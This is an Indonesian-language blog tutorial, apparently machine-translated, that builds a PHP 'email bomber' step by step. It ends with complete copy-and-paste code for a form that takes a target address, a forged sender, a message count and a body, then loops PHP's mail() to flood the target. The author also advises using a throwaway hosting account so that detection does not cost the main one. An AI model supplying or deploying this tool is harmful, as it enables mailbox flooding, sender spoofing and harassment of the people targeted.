Ini adalah tutorial yang sangat sederhana untuk menunjukkan Anda bagaimana untuk membuat bomber email dengan PHP. Aku akan membuatnya singkat, sederhana, dan to the point. Saya juga akan menyediakan link demo dan kode sumber penuh.
CATATAN: Jika Anda menggunakan terlalu banyak dapat dideteksi dan tuan rumah menutup layanan AKAN Anda ke bawah. Saya sarankan agar Anda menggunakan hosting sekunder dan bukan account hosting Anda penting.
Jadi dengan mengatakan bahwa, mari kita mulai tutorial!
Sementara im akan melalui tutorial, aku hanya akan menunjukkan bagian utama, sisa kode hanya CSS (yang perlu diubah untuk kesukaan Anda)
Pertama kita ingin membuat file PHP kita. Kita akan menyebutnya sakibomb.php
hal berikutnya yang ingin kita lakukan adalah membuat formulir. Formulir ini akan mengadakan field input sebagai berikut:
-Untuk email
-Dari email
-Jumlah untuk mengirim
-Pesan
-Perihal
Formulir Anda akan terlihat seperti kode di bawah ini. (mungkin berbeda jika Anda menggunakan css untuk membuat bagus atau jika Anda menggunakan tabel.
Aku benar-benar tidak harus pergi ke bagian itu, diri cantik jelas. Anda hanya posting bentuk untuk dirinya sendiri ketika anda menekan "kirim"<div id="container"> <form action="sakibomb.php" method="post"> <p>Send to: <input type="text" name="tomail" style="width: 800px;"></p> <p>Subject: <input type="text" name="subject" style="width: 800px;"></p> <p>Send from: <input type="text" name="frommail" style="width: 800px;"></p> <p># of emails?: <input type="text" name="amount" value="1" style="width: 800px;"></p> <p>Message: <textarea name="msg" style="width: 800px; height: 200px;"></textarea></p> <p><input type="submit" value="Send mail" name="send" style="width: 300px; height: 50px;"></p> </form> </div>
Sekarang kita akan mulai dengan bagian yang menyenangkan!
Ketika anda menekan mengirimkan Anda perlu cara untuk mengetahui apakah halaman yang diposting atau dimuat untuk pertama kalinya. Kami akan melakukan ini dengan kode berikut.
if(isset($_POST["send"])) { // more code here soon } // I put the form code below here
Bagian ini membiarkan Anda tahu jika "Kirim" tombol telah memukul atau jika halaman sedang loading untuk pertama kalinya. $ _POST ["kirim"] adalah nilai diposting, semua nilai diposting dapat disebut dengan format ini
Selanjutnya kita perlu untuk mendapatkan nilai-nilai kami yang lain POST dari formulir kami diajukan. daripada menggunakan $ _POST [] format untuk menyebut segala sesuatu nilai-nilai kita, kita akan membuat beberapa variabel yang sama mereka, karena mereka lebih mudah untuk digunakan di kemudian hari.
Dengan ini mengatakan, Anda harus memiliki kode berikut
Sekarang data kami diposting dimasukkan ke variabel untuk digunakan mudah dengan sisa script kita. Ingat bahwa Anda perlu mengatur variabel untuk SETIAP input formulir Anda.if(isset($_POST["send"])) { $to = $_POST["tomail"]; $subject = $_POST["subject"]; $from = $_POST["frommail"]; $amount = $_POST["amount"]; $message = $_POST["msg"]; }
Selanjutnya kita harus berurusan dengan header, Anda akan perlu ini untuk mengatur "Dari email yang" di email u mengirim keluar. Kode header Anda harus serupa dengan yang berikut
Hal ini juga mudah diikuti. Seperti yang Anda lihat yang menceritakan apa jenis konten dan pengaturan dari email dengan variabel kita.$header = "MIME-Version: 1.0" . "\r\n"; $header .= "Content-type: text/html; charset=iso-8859-1" . "\r\n"; $header .= "from:$from";
Kode Anda sekarang harus terlihat seperti berikut ketika semua bersama-sama sejauh ini.
Sekarang kita berada di bagian terakhir kami. Kita perlu mengatur loop untuk mengirimkan email lebih dari sekali. untuk melakukan ini kita akan menggunakan "WHILE" loop. Referensi kode saya di bawah ini maka saya akan memberikan penjelasan.<?phpif(isset($_POST["send"])) { $to = $_POST["tomail"]; $subject = $_POST["subject"]; $from = $_POST["frommail"]; $amount = $_POST["amount"]; $message = $_POST["msg"]; $header = "MIME-Version: 1.0" . "\r\n"; $header .= "Content-type: text/html; charset=iso-8859-1" . "\r\n"; $header .= "from:$from"; } ?> <div id="container"> <form action="sakibomb.php" method="post"> <p>Send to: <input type="text" name="tomail" style="width: 800px;"></p> <p>Subject: <input type="text" name="subject" style="width: 800px;"></p> <p>Send from: <input type="text" name="frommail" style="width: 800px;"></p> <p># of emails?: <input type="text" name="amount" value="1" style="width: 800px;"></p> <p>Message: <textarea name="msg" style="width: 800px; height: 200px;"></textarea></p> <p><input type="submit" value="Send mail" name="send" style="width: 300px; height: 50px;"></p> </form> </div>
Anda selalu set $ i ke 1 sama. Hal ini penting karena jumlah ini meningkat untuk setiap kali mengirimkan. Ketika $ i mencapai nomor yang ingin Anda kirim, berhenti menghitung. Seperti yang Anda lihat, laporan sementara mengatakan "jika $ i adalah kurang ATAU setara dengan jumlah pengiriman, saya akan melakukan fungsi ini.
$i = 1; while($i <= $amount) { mail($to,$subject,$message,$header); echo "Mail #". $i ." sent to " . $to . "!<br />"; $i++; }
fungsi mail hanya fungsi mail normal dengan variabel kita ditambahkan dalam untuk header dan semacamnya.
pesan gema akan mencetak pesan setiap kali mengirim naskah itu email. yang $ i + + memberitahu $ i untuk meningkatkan setiap kali mengirimkan email.
Sekarang kode Anda akan terlihat seperti ini. (ini adalah kode lengkap termasuk html sehingga Anda bisa copy dan paste langsung ke file php dan itu akan bekerja)
semua harus Anda lakukan untuk membuat bom email Anda sendiri php Anda. Hal ini dapat diperpanjang dan disesuaikan dengan kesukaan Anda.
<head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Kurosaki's Mail bomber</title> </head> <body> <?phpif(isset($_POST["send"])) { $to = $_POST["tomail"]; $subject = $_POST["subject"]; $from = $_POST["frommail"]; $amount = $_POST["amount"]; $message = $_POST["msg"]; $header = "MIME-Version: 1.0" . "\r\n"; $header .= "Content-type: text/html; charset=iso-8859-1" . "\r\n"; $header .= "from:$from"; $i = 1; while($i <= $amount) { mail($to,$subject,$message,$header); echo "Mail #". $i ." sent to " . $to . "!<br />"; $i++; } } ?> <div id="container"> <form action="sakibomb.php" method="post"> <p>Send to: <input type="text" name="tomail" style="width: 800px;"></p> <p>Subject: <input type="text" name="subject" style="width: 800px;"></p> <p>Send from: <input type="text" name="frommail" style="width: 800px;"></p> <p># of emails?: <input type="text" name="amount" value="1" style="width: 800px;"></p> <p>Message: <textarea name="msg" style="width: 800px; height: 200px;"></textarea></p> <p><input type="submit" value="Send mail" name="send" style="width: 300px; height: 50px;"></p> </form> </div> </body>
Proof it works:
0 komentar:
Posting Komentar